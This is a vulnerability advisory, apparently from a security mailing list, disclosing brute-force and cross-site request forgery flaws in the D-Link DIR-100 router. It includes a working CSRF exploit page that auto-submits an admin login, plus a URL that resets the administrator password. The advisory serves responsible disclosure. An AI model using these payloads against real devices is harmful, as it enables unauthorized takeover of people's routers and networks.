D-Link DIR-100 Brute Force / Cross Site Request Forgery

D-Link DIR-100 suffers from brute force and cross site request forgery vulnerabilities.


MD5 | b8b887922adc51bf8cd2293906751d38

Hello list!

There are Brute Force and Cross-Site Request Forgery vulnerabilities in
D-Link DIR-100.

-------------------------
Affected products:
-------------------------

Vulnerable is the next model: D-Link DIR-100, Firmware v1.01. All other
versions also must be vulnerable.

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Details:
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Brute Force (WASC-11):

http://site/public/login.htm

No protection from BF attacks in login form.

Cross-Site Request Forgery (WASC-09):

Lack of protection against Brute Force (such as captcha) also leads to
possibility of conducting of CSRF attacks, which I wrote about in the
article Attacks on unprotected login forms
(http://lists.webappsec.org/pipermail/websecurity_lists.webappsec.org/2011-April/007773.html).
It allows to conduct remote login. Which will be in handy at conducting of
attacks on different CSRF and XSS vulnerabilities in control panel.

D-Link DIR-100 CSRF.html

<html>
<head>
<title>D-Link DIR-100 CSRF exploit (C) 2017 MustLive.
http://websecurity.com.ua</title>
</head>
<body onLoad="document.hack.submit()">
<form name="hack" action="http://site/postlogin.xgi" method="post">
<input type="hidden" name="authen_username" value="admin">
<input type="hidden" name="authen_password" value="admin">
</form>
</body>
</html>

Cross-Site Request Forgery (WASC-09):

Change admin's password:

http://site/Tools/tools_admin.xgi?SET/sys/account/superUserName=admin&SET/sys/account/superUserPassword=admin

------------
Timeline:
------------

2015.05.02 - announced at my site about vulnerabilities in DIR-100.
2015-2017 - informed developers about multiple vulnerabilities in this and
other D-Link devices.
2017.02.04 - disclosed at my site (http://websecurity.com.ua/7745/).

Best wishes & regards,
MustLive
Administrator of Websecurity web site
http://websecurity.com.ua

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